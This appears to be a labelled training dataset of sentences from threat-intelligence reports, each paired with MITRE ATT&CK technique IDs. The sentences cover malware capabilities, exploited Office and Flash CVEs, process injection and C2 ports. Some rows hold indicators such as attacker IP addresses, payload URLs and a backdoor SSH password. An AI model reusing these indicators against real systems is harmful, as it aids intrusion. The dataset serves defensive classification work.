"Since it is a very long term group, some victims may be impossible to identify now",['T1083 - File and Directory Discovery'],fine_tune
"PHOTO: a DLL backdoor also reported publicly as “Derusbi”, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files",['T1083 - File and Directory Discovery'],fine_tune
"This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime",['T1083 - File and Directory Discovery'],fine_tune
"With the exception of the ‘Speed’ method previously mentioned, the names of the methods called in this chain appear to be fairly random, as seen in the following list:    ETransaksi.Speed ETransaksi.diomadnfagaghagh ETransaksi.fjcsERIfjfiojsGHIsdifjksi ETransaksi.gsgjIDJIGJIGJIGJIFDOSpl ETransaksi.FJaioefgkaoeK    The last two methods in the chain carry out a majority of the first payload’s functionality",['T1083 - File and Directory Discovery'],fine_tune
"Hashes For a list of all hashes of malware encountered during this campaign, please refer to the following file",['T1083 - File and Directory Discovery'],fine_tune
"17-3 Function names To target specific victims, Astaroth is locale aware; any attempts to run the malware without locale spoofing will result in failed downloads and the inability to run the .dll files",['T1083 - File and Directory Discovery'],fine_tune
"119 readFiles Obtains file information on a file or a folder, and supports a “*” wildcard and recursive file list",['T1083 - File and Directory Discovery'],fine_tune
Get Directory Information The malware gets information for the provided directory address using the following WINAPI calls:,['T1083 - File and Directory Discovery'],fine_tune
dir c:\,['T1083 - File and Directory Discovery'],fine_tune
"2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper)",['T1203 - Exploitation for Client Execution'],fine_tune
"Observed vulnerabilities include:  CVE-2012-0158  CVE-2017-0199  CVE-2017-8759  CVE-2017-11882       Figure 2: APT40 attack lifecycle  Establish Foothold APT40 uses a variety of malware and tools to establish a foothold, many of which are either publicly available or used by other threat groups",['T1203 - Exploitation for Client Execution'],fine_tune
"On October 10, 2017, Kaspersky Lab’s advanced exploit prevention systems identified a new Adobe Flash zero day exploit used in the wild against our customers",['T1203 - Exploitation for Client Execution'],fine_tune
We are also highly confident that BlackOasis was also responsible for another zero day exploit (CVE-2017-8759) discovered by FireEye in September 2017.  The FinSpy payload used in the current attacks (CVE-2017-11292) shares the same command and control (C2) server as the payload used with CVE-2017-8759 uncovered by FireEye,['T1203 - Exploitation for Client Execution'],fine_tune
"What does it mean for everyone and how to defend against such attacks, including zero-day exploits? For CVE-2017-11292 and other similar vulnerabilities, one can use the killbit for Flash within their organizations to disable it in any applications that respect it.  Unfortunately, doing this system-wide is not easily done, as Flash objects can be loaded in applications that potentially do not follow the killbit",['T1203 - Exploitation for Client Execution'],fine_tune
"This document exploited a newer vulnerability, CVE-2017-0199",['T1203 - Exploitation for Client Execution'],fine_tune
This change is because Group 123 did not target South Korea during this campaign and Microsoft Office is standard in the rest of the world.Infection VectorsThe attackers exploited CVE-2017-0199 in order to download and execute a malicious HTA document inside of Microsoft Office,['T1203 - Exploitation for Client Execution'],fine_tune
"Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 (Microsoft Office Equation Editor, widely used by Chinese-speaking actors since December 2017), we can´t prove they were related to this particular attack",['T1203 - Exploitation for Client Execution'],fine_tune
"This time, weaponized lure documents claiming to contain seminar information on environmental protection were observed exploiting known Microsoft Office vulnerabilities CVE-2017-0199 and CVE-2017-11882 to drop and execute the backdoor binary on the victim’s machine",['T1203 - Exploitation for Client Execution'],fine_tune
"In this campaign, we observed threat actors exploiting CVE-2017-0199 and CVE-2017-11882 to distribute malware",['T1203 - Exploitation for Client Execution'],fine_tune
Conclusion CVE-2017-0199 and CVE-2017-11882 are two of the more commonly exploited vulnerabilities that we are currently seeing,['T1203 - Exploitation for Client Execution'],fine_tune
"Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly, we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office",['T1203 - Exploitation for Client Execution'],fine_tune
"In many cases, additional stealers, RATs, and other malware were observed being hosted on the same web servers.Analysis of HawkEye Reborn The campaign starts with sending the aforementioned Excel sheets that exploit the well-known CVE-2017-11882 vulnerability, an arbitrary code execution bug in Microsoft Office",['T1203 - Exploitation for Client Execution'],fine_tune
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov,['T1203 - Exploitation for Client Execution'],fine_tune
"14, 2017, FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East",['T1203 - Exploitation for Client Execution'],fine_tune
"In this latest campaign, APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER",['T1203 - Exploitation for Client Execution'],fine_tune
"CVE-2017-11882: Microsoft Office Stack Memory Corruption Vulnerability CVE-2017-11882 affects several versions of Microsoft Office and, when exploited, allows a remote user to run arbitrary code in the context of the current user as a result of improperly handling objects in memory",['T1203 - Exploitation for Client Execution'],fine_tune
Figure 3: CVE-2017-11882 and POWRUNER attack sequence  The malicious .rtf file exploits CVE-2017-11882,['T1203 - Exploitation for Client Execution'],fine_tune
"An RTF, an MSI file, a .NET Wrapper and two stages of Shellcode walk into a bar… Our journey begins with an RTF file named “New Salary Structure 2017.doc”, which exploits CVE-2017-0199",['T1203 - Exploitation for Client Execution'],fine_tune
"Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability, however in late January 2018 when, paradoxically, newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability",['T1203 - Exploitation for Client Execution'],fine_tune
Try to exploit the following Remote Code Execution vulnerabilities in the targeted servers:  a) CVE-2012-0874: JBoss Enterprise Application Platform Multiple Security Bypass Vulnerabilities b) CVE-2010-1871: JBoss Seam Framework remote code execution c) JBoss AS 3/4/5/6: Remote Command Execution (exploit) d) CVE-2017-10271: Oracle WebLogic wls-wsat Component Deserialization RCE e) CVE-2018-2894: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware,['T1203 - Exploitation for Client Execution'],fine_tune
"We believe the adversary exploited a recently vulnerability in Microsoft SharePoint tracked by , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell",['T1203 - Exploitation for Client Execution'],fine_tune
"Exploited Vulnerabilities: Frequent exploitation of vulnerabilities in Hangul Word Processor (HWP), as well as Adobe Flash",['T1068 - Exploitation for Privilege Escalation'],fine_tune
"APT40 leverages exploits in their phishing operations, often weaponizing vulnerabilities within days of their disclosure",['T1068 - Exploitation for Privilege Escalation'],fine_tune
Exploitation of this vulnerability allows an attacker to escalate privileges on the affected system,['T1068 - Exploitation for Privilege Escalation'],fine_tune
"All zero-day exploits known, or suspected, to have been used by this group are for vulnerabilities in Internet Explorer and Flash",['T1068 - Exploitation for Privilege Escalation'],fine_tune
"APT32 regularly used stealthy techniques to blend in with legitimate user activity:  During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix",['T1068 - Exploitation for Privilege Escalation'],fine_tune
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal,['T1068 - Exploitation for Privilege Escalation'],fine_tune
"McAfee detects these threats as:  RDN/Generic Exploit RDN/Generic.dx Generic PWS.y Generic.hbg Exploit-CVE2018-4878  McAfee customers are also covered by McAfee Global Threat Intelligence Web Reputation classification, which rate these URLs as High Risk",['T1068 - Exploitation for Privilege Escalation'],fine_tune
The database is located in the “/usr/lib/cva-ssys/My_BD” folder (“~/.local/cva-ssys/My_BD”—if the Trojan does not have root privileges),['T1068 - Exploitation for Privilege Escalation'],fine_tune
CVE-2014-4113 is a privilege escalation vulnerability that was disclosed publicly on 2014-10-14,['T1068 - Exploitation for Privilege Escalation'],fine_tune
"The first dropped file, doc.exe, contains the CVE-2014-4113 exploit and then attempts to execute test.exe with the elevated privileges",['T1068 - Exploitation for Privilege Escalation'],fine_tune
Are the attackers using any zero-day vulnerabilities? No zero-day vulnerabilities have been found in the analysis of the samples obtained regarding this campaign,['T1068 - Exploitation for Privilege Escalation'],fine_tune
"OfficeScan’s Vulnerability Protection shields endpoints from identified and unknown vulnerability exploits even before patches are even deployed. Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to attacks using exploits and other similar threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect these attacks even without any engine or pattern update",['T1068 - Exploitation for Privilege Escalation'],fine_tune
"Dubbed ‘SpeakUp’, the new Trojan exploits known vulnerabilities in six different Linux distributions",['T1068 - Exploitation for Privilege Escalation'],fine_tune
"Among them, we found variations on the    EternalDarkness SMBv3 exploit (CVE-2020-0796)  , a , the privilege escalation exploit published on the Google Security Github account, and the privilege escalation exploit.",['T1068 - Exploitation for Privilege Escalation'],fine_tune
A 2016 Novetta report detailed the work of security vendors attempting to unveil tools and infrastructure related to the 2014 destructive attack against Sony Pictures Entertainment,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
The analysis of the tools and techniques used in the Astaroth campaign show how truly effective LOLbins are at evading antivirus products,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Tools CTU researchers observed BRONZE UNION using the following tools in intrusions since the 2015 analysis, but clients should assume that the threat group still has access to the previously reported tools",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"In doing so, it will attempt to detect the following Anti-Virus products via various techniques:  Trend Micro Kaspersky Symantec Avira AVG ALYac Ahnlab  Ahnlab and ALYac are the most widely used Anti-Virus solutions in South Korea, and Trend Micro and the rest are also known to be most widely used in Taiwan",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
APT12 closely monitors online media related to its tools and operations and reacts when its tools are publicly disclosed,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Types of attacks possibly averted include Structured Query Language (SQL) injection, cross-site scripting, and command injection.Use stringent file reputation settings – Tune the file reputation systems of your anti-virus software to the most aggressive setting possible",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"We would like to thank White-Hat, Tom Lancaster of Palo Alto Networks, Michael Yip of Stroz Friedberg, security researcher Marcus, and other security researchers and organizations who shared information and provided feedback",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"In addition to obfuscation techniques, it also has the ability to detect security tools on the analysis machine, and can also shut down the system if it detects the presence of such tools",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Figure 14: System shut down upon discovery of security tools  Ability to receive PowerShell script from the C2 server and execute on the machine,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Additionally it checks to determine if common analysis tools are currently running on the infected system,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Given the regional file format used there is a chance that some security software suites may not handle them well, and this may have provided an evasion case for the attacker.The documents sent to the targets were titled ""Analysis of ""Northern New Year in 2017"" and used the official logo of the Korean Ministry of Unification",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Smart, optimized, and connected, XGen security powers Trend Micro’s suite of security solutions: Hybrid Cloud Security, User Protection, and Network Defense",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called “Rocket Kitten” (AKA Operation Saffron Rose, Ajax Security Team, Operation Woolen-Goldfish) as well as an older attack campaign called Newscasters",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"As seen below, the relational analysis proved to be quite fruitful:  Figure 1 Overview of relationships We rapidly discovered a different set of tools communicating to the exact same C2 servers as those two Word documents, in addition to other tools communicating to other subdomain variations of chrome-up[.]date as seen in the following graphic:  Figure 2 Command and control overlaps From there, we were able to map out a large infrastructure separating out into four categories of tools: downloaders, droppers, loaders, and payloads",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"The toolset used by the Magic Hound campaign was an assortment of custom tools, as well as open sourced tools available to the general public",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"They are known for “living off the land,” meaning they use already available tools and software installed on the computer to operate, and once inside a target network, they will tailor their malware specifically to the target",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Traditional antivirus software and other systems that rely on low-level indicators do not effectively detect and block common and pervasive malware,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"End users can benefit from security solutions such as Trend Micro Home Security for Mac, which provides comprehensive security and multi-device protection against cyberthreats",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"As we discover new tools used by this group, we have consistently discovered overlapping artifacts with previously used tools and infrastructure",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Mitigation Security and system/IT administrators must practice due diligence in protecting their websites and web-based applications from threats that can undermine their security, and hijack them to do the bad guys’ bidding—delivering malware to their victims",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Network Security appliances such as NGFW, NGIPS, and Meraki MX can detect malicious activity associated with this threat",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Mitigation As this sample installs itself through the use of EternalBlue, the targeted protocol is SMB.  Because of this, in order to best mitigate and avoid possible installations, you need your system updated to the latest security patches.  Specifically, you’d want to make sure that you have MS17-010 installed, as this is the security patch that patches the EternalBlue vulnerability",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
The malware queries the value for the flag BeingDebugged from PEB to check whether the process is being debugged.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
The RIPTIDE exploit document drops its executable file into the C:\Documents and Settings\{user}\Application Data\Location folder while the HIGHTIDE exploit document drops its executable file into the C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\ folder,['T1005 - Data from Local System'],fine_tune
"In many payment card data breaches, a point-of-sale (POS) system is infected with malware that searches for specific processes in memory known to store card data in plain text",['T1005 - Data from Local System'],fine_tune
"Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites.",['T1005 - Data from Local System'],fine_tune
"Custom tools such as REDTRIP, PINKTRIP, and BLUETRIP have also been used to create SOCKS5 proxies between infected hosts",['T1090 - Proxy'],fine_tune
"In green, functions from Keychaindump C&C communication Keydnap is using the onion.to Tor2Web proxy over HTTPS to report back to its C&C server",['T1090 - Proxy'],fine_tune
This can be complemented by restricting direct internet access to the company’s internal networks while using proxies to access external resources,['T1090 - Proxy'],fine_tune
"Lateral Movement APT40 uses many methods for lateral movement throughout an environment, including custom scripts, web shells, a variety of tunnelers, as well as Remote Desktop Protocol (RDP)",['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
"Containment provided by enclaving also makes incident cleanup significantly less costly.Configure firewalls to disallow Remote Desktop Protocol (RDP) traffic coming from outside of the network boundary, except for in specific configurations such as when tunneled through a secondary virtual private network (VPN) with lower privileges.Audit existing firewall rules and close all ports that are not explicitly needed for business",['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
FIN6 used another set of compromised credentials with membership to additional groups in the domain to RDP to other hosts,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
"To complete its mission, APT39 typically archives stolen data with compression tools such as WinRAR or 7-Zip",['T1560 - Archive Collected Data'],fine_tune
This crafted zip archive exploited a WinRAR flaw that makes files in zip archives appear to have a different name and file extension,['T1560 - Archive Collected Data'],fine_tune
"On September 24, 2018, we observed an organization targeted by OilRig attempting to download a Zip archive from the following URL: hxxp://193.111.152[.]13/[redacted]-ITsoftwareUpdate.zip This Zip archive contained a file named [redacted]-ITsoftwareUpdate.exe (SHA256: 5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336), which is a variant of the OopsIE Trojan we described in detail in a blog we published in September 2018",['T1560 - Archive Collected Data'],fine_tune
"RARM Creates RAR files per logical drive containing data with timestamps for the past 30 days, then uploads RAR to the C2 server using a POST command at the path “/FeedBack.php”",['T1560 - Archive Collected Data'],fine_tune
"RARW Creates RAR files per logical drive containing data with timestamps for the past 7 days, then uploads RAR to the C2 server using a POST command at the path “/FeedBack.php”",['T1560 - Archive Collected Data'],fine_tune
"When exfiltrating the keychain, the keychain field is used instead of data",['T1560 - Archive Collected Data'],fine_tune
"Sometimes it is a high profile, legitimate site such as “diplomacy.pl”, hosting a ZIP archive",['T1560 - Archive Collected Data'],fine_tune
The ZIP archive contains a RAR SFX which installs the malware and shows an empty PDF decoy,['T1560 - Archive Collected Data'],fine_tune
The entire command structure gets compressed with zlib and then encrypted using a custom stream cipher.,['T1560 - Archive Collected Data'],fine_tune
Internal Reconnaissance APT40 uses compromised credentials to log on to other connected systems and conduct reconnaissance,['T1021 - Remote Services'],fine_tune
"Figure 4 – Backdoored authentication function in SSH server As you can see in Figure 4, this version of Dropbear SSH will authenticate the user if the password passDs5Bu9Te7 was entered",['T1021 - Remote Services'],fine_tune
APT40 also uses publicly available brute-forcing tools and a custom utility called DISHCLOTH to attack different protocols and services,['T1110 - Brute Force'],fine_tune
"During our initial research into the TwoFace++ loader, we were unable to extract the embedded payload using the same brute forcing technique that we used on the initial TwoFace loader samples",['T1110 - Brute Force'],fine_tune
"We were able to brute force the actor-provided key using the inverse arithmetic operations using the embedded salt and embedded ciphertext, so we were able to extract the embedded webshells with ease",['T1110 - Brute Force'],fine_tune
"It then takes note of the infected machine’s IP address, user, domain, hostname, OS and Service Pack, and the username and password combination that worked during the brute force routine",['T1110 - Brute Force'],fine_tune
Its main functions are:  Brute-force using a pre-defined list of usernames and passwords in an attempt to login to Admin panels,['T1110 - Brute Force'],fine_tune
"Several of the tools are freely-available Windows utilities, such as Amplia Security’s Windows Credential Editor. We also found a nearly complete set of the Microsoft SysInternals  PsTools package, a copy of NLBrute (which attempts to brute-force passwords), installers for the commercial TeamViewer and AnyDesk remote support tools, and a number of utilities created by endpoint security vendors that are designed to remove their (and other companies’) endpoint security and antivirus tools from a computer.",['T1110 - Brute Force'],fine_tune
"We found a brute-force tool called NLBrute , with configuration files that tell us it had been set up to use an included set of username and passwords to try to break in to machines that have Remote Desktop enabled",['T1110 - Brute Force'],fine_tune
Common TCP ports 80 and 443 are used to blend in with routine network traffic,"['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",fine_tune
"Resulting script on the compromised government websites Users were redirected to https://google-updata[.]tk:443/hook.js, a BEeF instance, and https://windows-updata[.]tk:443/scanv1.8/i/?1, an empty ScanBox instance that answered a small piece of JavaScript code","['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",fine_tune
"PUPY LOADER The Pupy RAT comes packaged by default with loaders that can run the RAT on a variety of platforms such as Windows, macOS, Linux and Android","['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",fine_tune
"In addition, although the 2017 campaign has been documented, during our research regarding MirageFox, we found a recently uploaded binary (6/8/2018) from the 2017 campaign, pretty much identical to a RAT mentioned in their RoyalAPT report, barely detected with only 7/66 detections on VirusTotal.  APT15 Code Reuse We found the new version of the RAT on VirusTotal hunting, by a YARA signature we created based off code only found in Mirage and Reaver, both attributed to Chinese government affiliated groups","['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",fine_tune
"These files are then transmitted to a threat actor, often over commonly open ports 80 and 443 (HTTP and HTTPS)","['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",fine_tune
"KONNI is a RAT that is believed to have  been in use for over four years, with a wide array of functionalities, often leveraging free web hosting providers like 000webhost for its C2 infrastructure","['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",fine_tune
"Command and control To traverse the firewall, C2 traffic for most TG-3390 tools occurs over ports 53, 80, and 443","['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",fine_tune
"Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80.","['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",fine_tune
The Metasploit reverse HTTP payload was configured to communicate with the command and control (C2) IP address 176.126.85[.]207 with a randomly named resource such as” over TCP port 443.,"['T1571 - Non-Standard Port', 'T1043 - Commonly Used Port']",fine_tune
The malware proceeds to connect to the C2 server at 5.189.145.248 at regular intervals through the use of TCP over port 10500,['T1571 - Non-Standard Port'],fine_tune
1/12/14 3/5/14 127.0.0.1 N/A   3/5/14 3/31/14 103.24.0.142 Hong Kong   3/31/14 10/27/14 103.24.1.54 Hong Kong   10/27/14 11/9/14 127.0.0.1 N/A   11/9/14 5/25/15 127.0.0.3 N/A   5/25/15 Current as of this publication 127.0.0.1 N/A    Table 5,['T1571 - Non-Standard Port'],fine_tune
"Figure 5 shows Phishery’s output to the command that injects a URL into a file named “good_test.docx”, which it will save the resulting file to “bad_test.docx”",['T1055 - Process Injection'],fine_tune
"It is capable of the following functions:  Collect file/folder/drive information Download files and additional malware Launch/terminate/enumerate process Update configuration data Delete files Inject code from files to other running process Utilize proxy Open reverse shell Run in passive mode — instead of actively connecting to the command and control (C&C) server, the backdoor will open and listen to a port then receive commands through it  Once the backdoor is loaded, it will then load the encrypted configuration file Auditcred.dll.mui/rOptimizer.dll.mui to extract the C&C information and connect to it",['T1055 - Process Injection'],fine_tune
"As a result of all these steps, the last-stage Trojan is injected into svchost.exe’s process memory",['T1055 - Process Injection'],fine_tune
"Process injection helps the malware avoid detection; however, review of active network connections show notepad.exe communicating to 185",['T1055 - Process Injection'],fine_tune
This shellcode injects the final payload taken from the resource section into the original RegAsm.exe process,['T1055 - Process Injection'],fine_tune
Traps 4.0 can be configured to protect the processes that are cited as being abused in this blog from loading malicious code,['T1055 - Process Injection'],fine_tune
05 27 28 obj32.bin obj32.bin obj64.bin Shellcode template is used by Reinstaller/Injector (rsXX.dll) and AudioRecorder4MetroApp (meXX.dll) for injecting into running processes,['T1055 - Process Injection'],fine_tune
"Pupy can communicate using multiple transports, migrate into processes using reflective injection, and load remote python code, python packages and python C-extensions from memory",['T1055 - Process Injection'],fine_tune
"Meanwhile, injection and delivery techniques are undergoing changes in 2018 with reflective loaders and code enhancements",['T1055 - Process Injection'],fine_tune
"2e0361fd73f60c76c69806205307ccac, update.dll (MiniDuke), 425kb (internal name = “UserCache.dll“) 9e3f3b5e9ece79102d257e8cf982e09e, cache.dll (CozyDuke), 425kb (internal name = “UserCache.dll“) The two share identical export function names in their export directories, and the naming appears to be randomly assigned at compile time",['T1055 - Process Injection'],fine_tune
*Command_Create&Inject:  This command creates a new process (using a supplied filename as the process name) and then injects malicious code into it,['T1055 - Process Injection'],fine_tune
64)   u= {B5B70BD7-87FC-499A-B4D1- 98163306F0D8} A GUID   r= 1 Boolean value if the malware is running as injected code   t= 8035187 Number of milliseconds the computer has been running    Table 3,['T1055 - Process Injection'],fine_tune
The loader will then inject a DLL backdoor into dllhost.exe,['T1055 - Process Injection'],fine_tune
TClient is injected into dllhost.exe Malware Analysis  wab32res.dll (FakeRun loader) loads TClient,['T1055 - Process Injection'],fine_tune
"Successfully checking the loader will execute the dllhost.exe process and create a hardcode mutex to avoid injecting it into the wrong dllhost.exe, as there can be multiple instances of it depending on the number of programs using the Internet Information Services",['T1055 - Process Injection'],fine_tune
"Figure 2: De-obfuscated code scheduling the second task to run a script embedded in a blog page The last section of script embedded in 29[.]html then downloads Revenge RAT and injects the binary into the memory of a running process, as seen in Figure 3",['T1055 - Process Injection'],fine_tune
It’s also used to inject code into its target processes using the technique.,['T1055 - Process Injection'],fine_tune
"wmic.exe is a powerful, native Windows command line utility used to interact with Windows Management Instrumentation (WMI)",['T1047 - Windows Management Instrumentation'],fine_tune
POSHSPY leverages two of the tools the group frequently uses: PowerShell and Windows Management Instrumentation (WMI),['T1047 - Windows Management Instrumentation'],fine_tune
Windows Management Instrumentation WMI is an administrative framework that is built into every version of Windows since 2000,['T1047 - Windows Management Instrumentation'],fine_tune
"WMI can be accessed using a variety of tools, including the Windows WMI Command-line (wmic.exe), or through APIs accessible to programming and scripting languages such as PowerShell",['T1047 - Windows Management Instrumentation'],fine_tune
"Windows system WMI data is stored in the WMI common information model (CIM) repository, which consists of several files in the System32\wbem\Repository directory",['T1047 - Windows Management Instrumentation'],fine_tune
WMI classes are the primary structure within WMI,['T1047 - Windows Management Instrumentation'],fine_tune
"WMI Filters define conditions that will trigger a Consumer, including system startup, the execution of a program, the passing of a specified time and many others",['T1047 - Windows Management Instrumentation'],fine_tune
APT29 then created a WMI event subscription in order to execute the backdoor,['T1047 - Windows Management Instrumentation'],fine_tune
"In one instance, APT29 created a Filter named BfeOnServiceStartTypeChange (Figure 1), which they configured to execute every Monday, Tuesday, Thursday, Friday, and Saturday at 11:33 am local time.     Figure 1: “BfeOnServiceStartTypeChange” WMI Query Language (WQL) filter condition The BfeOnServiceStartTypeChange Filter was bound to the CommandLineEventConsumer WindowsParentalControlsMigration",['T1047 - Windows Management Instrumentation'],fine_tune
"This excellent whitepaper by William Ballenthin, Matt Graeber and Claudiu Teodorescu contains additional information on WMI offense, defense and forensics",['T1047 - Windows Management Instrumentation'],fine_tune
This presentation by Christopher Glyer and Devon Kerr contains additional information on attacker use of WMI in past Mandiant investigations,['T1047 - Windows Management Instrumentation'],fine_tune
The FireEye FLARE team released a WMI repository-parsing tool that allows investigators to extract embedded data from the WMI repository and identify WMI persistence.,['T1047 - Windows Management Instrumentation'],fine_tune
The payload uses WMI queries and checks running processes for evidence that the script may be executing within an analysis environment,['T1047 - Windows Management Instrumentation'],fine_tune
"Technique Description   Fan Check The Trojan will perform the following WMI query:   Select * from Win32_Fan   According to MSDN, this query should return a class that provides statistics on the CPU fan",['T1047 - Windows Management Instrumentation'],fine_tune
Leveraging Existing Windows Services to Deliver Malware Windows Management Instrumentation Console (WMIC) provides a command line interface to WMI,['T1047 - Windows Management Instrumentation'],fine_tune
WMIC is a good tool for managing windows hosts and is widely favored by desktop administrators,['T1047 - Windows Management Instrumentation'],fine_tune
"This is attack vector presents interesting problems, as blocking or restricting the use of WMIC may not be a feasible solution for some administrators",['T1047 - Windows Management Instrumentation'],fine_tune
"This location data gives the attacker a unique edge, as they can specify a target country or city to attack and maximize their accuracy when choosing a particular target.    The .txt file contains information about the C2 domain and infected machine, as detected in a Cybereason Lab environment",['T1041 - Exfiltration Over C2 Channel'],fine_tune
The malware performs the following activities:  Builds imports by dynamically loading APIs Decrypts strings needed for control server communications Performs control server communications Handles commands issued by the control server Uninstalls self from the system  The malicious thread dynamically loads the APIs it needs at the beginning of its execution using LoadLibrary() and GetProcAddress(),['T1041 - Exfiltration Over C2 Channel'],fine_tune
"In response, if the status is OK, then a TOKEN is received from the C2 server that is used to synchronize the activities between the victim’s machine and the C2 server",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"After obtaining the unique ID from the C2 server, the Trojan calls the “SetAbStatById” method to notify the C2 server of its status of “1” to notify the server it had successfully received the filename and file data",['T1041 - Exfiltration Over C2 Channel'],fine_tune
The r1.log file stores information for exfiltration,['T1074 - Data Staged'],fine_tune
"After Comnie has been copied to the %TEMP% directory, it will look for the presence of the ‘DQuit.tmp’ file in this path",['T1074 - Data Staged'],fine_tune
"Log.php validates the sender by User-Agent, saves the data in the “UP” server directory and stores the metadata in the mssql database for later reference",['T1074 - Data Staged'],fine_tune
Note: aswrundll.exe is very similar to Microsoft’s own rundll32.exe - it allows you to execute DLLs by calling their exported functions,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"The dropper installs 2 files:netwf.bat : executes netwf.dllnetwf.dll : the payloadThe dropper implements 2 persistence mechanisms:HKCU\Environment\UserInitMprLogonScript to execute the netwf.bat fileCOM Object hijack of the following CLSID: {BCDE0395-E52F-467C-8E3D-C4579291692E}, the CLSID of the class MMDeviceEnumerator.These 2 techniques have also been previously used by this actor.Finally the payload is executed by rundll32.exe (and the ordinal #1 in argument) or by explorer.exe if the COM Object hijack is performed",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
The loader component is executed via RUNDLL32.EXE,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Then it checks to see if it was launched by RUNDLL32.exe along with parameter #1,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"If the string is present, the malware executes the command RunDll32.exe",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"It loads the module with parameter vShow set to zero, which opens the application with a hidden window.  Alternatively, if Avast is not installed on the machine, the malicious module loads using regsvr32.exe",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
regsvr32.exe is a native Windows utility for registering and unregistering DLLs and ActiveX controls in the Windows registry.    The script attempts to load the malicious module using regsvr with the run function.   Procmon shows the malicious module loaded to the Avast process,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"The malicious modules in regsvr32.exe memory After the Irdsnhrxxxfery98 module is loaded, the malware searches different processes to continue its malicious activity depending on the way Irdsnhrxxxfery64 was loaded",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"If Irdsnhrxxxfery64 is loaded using regsvr32.exe, it will target three processes:   It will target unins000.exe if it is available",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"The Cybereason platform was able to detect the malicious injection, identifying Irdsnhrxxxfery64.~, Irdsnhrxxxfery98.~, and module arqueiro.   The downloaded modules found in regsvr32.exe as detected by the Cybereason platform",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"After selecting a payload URL, the script will create copies of certutil and regsvr32 to the temp directory for later use",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
